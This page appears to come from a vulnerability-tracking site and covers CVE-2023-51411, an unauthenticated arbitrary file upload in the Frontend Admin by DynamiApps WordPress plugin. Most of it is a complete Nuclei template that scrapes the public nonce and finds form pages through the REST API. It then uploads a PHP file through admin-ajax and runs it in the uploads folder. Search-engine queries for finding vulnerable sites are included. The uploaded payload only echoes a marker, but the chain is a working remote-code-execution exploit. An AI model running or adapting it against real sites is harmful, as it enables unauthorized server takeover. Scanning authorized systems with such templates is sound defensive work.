CVE-2023-51411: Frontend Admin by DynamiApps <= 3.18.3 - Unauthenticated Arbitrary File Upload

2026-12-04 PoC Public

Description

The Frontend Admin by DynamiApps plugin for WordPress (acf-frontend-form-element) is vulnerable to unauthenticated arbitrary file upload via the 'acf/fields/upload_file/add_attachment' AJAX action in versions up to, and including, 3.18.3. The handler is registered on the wp_ajax_nopriv hook and performs no file-type validation (acf_validate_attachment only enforces a field's own mime_types, which are absent for an empty/invalid field_key), so an attacker can upload a PHP file to /wp-content/uploads/fea-submissions/ and achieve remote code execution. The only gate is the public, non-user acf_nonce, printed into any page rendering a Frontend Admin form; the template auto-discovers such a page via the REST pages API when the input URL does not itself render a form.

Details

CVE
CVE-2023-51411 · CVE.org
Severity
高危
Published
PoC
Public

PoC

id: CVE-2023-51411

info:
  name: Frontend Admin by DynamiApps <= 3.18.3 - Unauthenticated Arbitrary File Upload
  author: DhiyaneshDk
  severity: critical
  description: |
    The Frontend Admin by DynamiApps plugin for WordPress (acf-frontend-form-element) is vulnerable to unauthenticated arbitrary file upload via the 'acf/fields/upload_file/add_attachment' AJAX action in versions up to, and including, 3.18.3. The handler is registered on the wp_ajax_nopriv hook and performs no file-type validation (acf_validate_attachment only enforces a field's own mime_types, which are absent for an empty/invalid field_key), so an attacker can upload a PHP file to /wp-content/uploads/fea-submissions/ and achieve remote code execution. The only gate is the public, non-user acf_nonce, printed into any page rendering a Frontend Admin form; the template auto-discovers such a page via the REST pages API when the input URL does not itself render a form.
  impact: |
    Attackers can upload malicious files, potentially leading to remote code execution or server compromise.
  remediation: |
    Implement strict file type validation and update to the latest version.
  reference:
    - https://patchstack.com/database/vulnerability/acf-frontend-form-element/wordpress-frontend-admin-by-dynamiapps-plugin-3-18-3-unauthenticated-arbitrary-file-upload-vulnerability
    - https://nvd.nist.gov/vuln/detail/CVE-2023-51411
    - https://github.com/advisories/GHSA-5qfh-3v8w-664f
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-51411
    epss-score: 0.00617
    epss-percentile: 0.51011
    cwe-id: CWE-434
  metadata:
    verified: true
    max-request: 6
    vendor: dynamiapps
    product: frontend_admin
    framework: wordpress
    publicwww-query: "/wp-content/plugins/acf-frontend-form-element/"
    fofa-query: body="/wp-content/plugins/acf-frontend-form-element"
  tags: cve,cve2023,wordpress,wp-plugin,wp,fileupload,rce,intrusive,acf-frontend-form-element,dynamiapps,unauth,vkev

variables:
  marker: "{{rand_text_alpha(12)}}"

flow: |
  http(1);
  if (!template["nonce"]) {
    http(2);
    let raw = String(template["pagelinks"] || "");
    let seen = {};
    let urls = raw.replace(/[\[\]"]/g, "").split(",")
                  .map(s => s.replace(/\\\//g, "/").trim())
                  .filter(s => { if (!s || seen[s]) return false; seen[s] = true; return true; });
    for (let i = 0; i < urls.length && i < 30; i++) {
      set("formpage", urls[i]);
      http(3);
      if (template["nonce"]) break;
    }
  }
  // 3) exploit: upload -> resolve filename -> execute
  if (template["nonce"]) {
    http(4);
    if (template["aid"]) {
      http(5);
      if (template["fname"]) {
        http(6);
      }
    }
  }

http:
  - method: GET
    path:
      - "{{BaseURL}}"
    extractors:
      - type: regex
        name: nonce
        part: body
        internal: true
        group: 1
        regex:
          - 'feadata.*?"nonce":"([a-f0-9]+)"'

  - method: GET
    path:
      - "{{RootURL}}/wp-json/wp/v2/pages?per_page=100&_fields=link"
    extractors:
      - type: regex
        name: pagelinks
        part: body
        internal: true
        group: 1
        regex:
          - '"link":"([^"]+)"'

  - method: GET
    path:
      - "{{formpage}}"

    extractors:
      - type: regex
        name: nonce
        part: body
        internal: true
        group: 1
        regex:
          - 'feadata.*?"nonce":"([a-f0-9]+)"'

  - method: POST
    path:
      - "{{RootURL}}/wp-admin/admin-ajax.php"
    headers:
      Content-Type: "multipart/form-data; boundary=----feaupload"
    body: |
      ------feaupload
      Content-Disposition: form-data; name="action"

      acf/fields/upload_file/add_attachment
      ------feaupload
      Content-Disposition: form-data; name="nonce"

      {{nonce}}
      ------feaupload
      Content-Disposition: form-data; name="file"; filename="{{marker}}.php"
      Content-Type: application/x-php

      <?php echo md5("{{marker}}"); unlink(__FILE__); ?>
      ------feaupload--

    matchers:
      - type: word
        part: body
        words:
          - '"success":true'
        internal: true

    extractors:
      - type: regex
        name: aid
        part: body
        internal: true
        group: 1
        regex:
          - '"id":(\d+)'

  - method: GET
    path:
      - "{{RootURL}}/wp-json/wp/v2/media/{{aid}}"

    extractors:
      - type: regex
        name: fname
        part: body
        internal: true
        group: 1
        regex:
          - '([a-zA-Z0-9_-]+\.php)'

  - method: GET
    path:
      - "{{RootURL}}/wp-content/uploads/fea-submissions/{{fname}}"

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, md5(marker))'
        condition: and
# digest: 4a0a0047304502201c5c081676b1097dd8965d272b2138c3162c3b56d4ba1e0d1b01262f4a490bbb0221008ef73d79d30eff903ede1e432eabc1866e6a988a93dc4df167109d595b768a46:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

微信搜一搜 biu.life